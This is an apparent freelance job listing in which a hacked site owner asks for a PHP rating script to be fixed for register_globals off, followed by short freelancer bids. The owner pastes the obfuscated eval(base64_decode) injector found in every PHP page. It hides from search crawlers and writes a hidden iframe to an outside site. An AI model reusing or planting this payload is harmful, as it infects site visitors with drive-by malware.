Fermé

Fix PHP Script (was hacked)

I have a website based on a PHP script (similar to hotornot) [url removed, login to view] that builds photo ratings from each user.

The rating function stops working when I disable register_globals in PHP configuration (rating is accepted when input from

visitor but not recorded/calculated).

Now I put in [url removed, login to view]

register_globals = On

Too I "dissable" the posibility that people can send "internal messages" because I dont know if was not used for upload some malware.

I need someone to edit the PHP script accordingly so that the rating function works even with register_globals disabled, since I need this for security purposes.

The site was hacked many times.

Any question ask me

Sorry for my bad english .. I speak spanish..

the "hacker" write this

?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmV2YWwodW5lc2NhcGUoIiU2NCU2RiU2MyU3NSU2RCU2NSU2RSU3NCUyRSU3NyU3MiU2OSU3NCU2NSUyOCUyNyUzQyU2OSU2NiU3MiU2MSU2RCU2NSUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2OSU3MyU3MyUzOSU3NyUzOCU3MyUzOCUzOSU3OCU3OCUyRSU2RiU3MiU2NyUyRiU2OSU2RSUyRSU3MCU2OCU3MCUyMiUyMCU3NyU2OSU2NCU3NCU2OCUzRCUzMSUyMCU2OCU2NSU2OSU2NyU2OCU3NCUzRCUzMSUyMCU2NiU3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WRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>


in all php pages

Compétences : PHP

Voir plus : Works in spanish, i speak no english in spanish, website hacked !, script spanish, rating script, hacked\, fix php, fix hacked website, fix a script, visitor script, disable security, php script function, fix website people, need script spanish, question php, ask site script, php register_globals, malware fix, script upload edit, need similar php script, php malware, php rating, photo rating website script, ask script site, ratings script php

Concernant l'employeur :
( 1 commentaire ) Montevideo, Uruguay

N° du projet : #1079465

15 freelance ont fait une offre moyenne de 53 $ pour ce travail

savibloodmark

Hi Sir, Kindly check PMB for details. Thank you

40 $ USD en 0 jours
(110 Commentaires)
6.4
ecartsolutions

PHP/Mysql expert here. I can help you with the register globals change. Please check the message board for details. Regards, Hari

75 $ USD en 1 jour
(255 Commentaires)
6.3
ichurakov

Please check inbox. Thnx.

30 $ USD en 0 jours
(215 Commentaires)
6.3
kadukmm

I can do this.

30 $ USD en 0 jours
(29 Commentaires)
4.9
noodle

Hi, I can help you.

60 $ USD en 1 jour
(16 Commentaires)
4.5
agriz

Hi Please check PM

30 $ USD en 1 jour
(44 Commentaires)
4.4
sateeshranga

hi, Please check PMB.

100 $ USD en 2 jours
(2 Commentaires)
3.2
rajivjindal08

Experienced Developer and Designer. I can do it. Send in my PM.

80 $ USD en 2 jours
(1 Commentaire)
2.6
sitioahora

Hello, We can do these fixs on your script. You need to modify code to work with register_globals off. Also we speak spanish, language isn't a problem. Regards.

50 $ USD en 2 jours
(1 Commentaire)
2.0
freakcms

Simple fix, can start right away, cheers

30 $ USD en 0 jours
(0 Commentaires)
0.0
sanjaypatel123

i can do it.

80 $ USD en 2 jours
(0 Commentaires)
0.0
ddeerrme

Analyst Programmer skilled in different programming languages.

100 $ USD en 2 jours
(0 Commentaires)
0.0
freelancer198

Let me fixed now. Thanks

30 $ USD en 1 jour
(0 Commentaires)
0.0
mayurdange

decoding the hackers code was easy.. I could fix your code.

30 $ USD en 4 jours
(0 Commentaires)
0.0
codexa

Hi, i can help you with your problem! register_globals is obsolet. Let me help you to repair that!

30 $ USD en 2 jours
(0 Commentaires)
0.0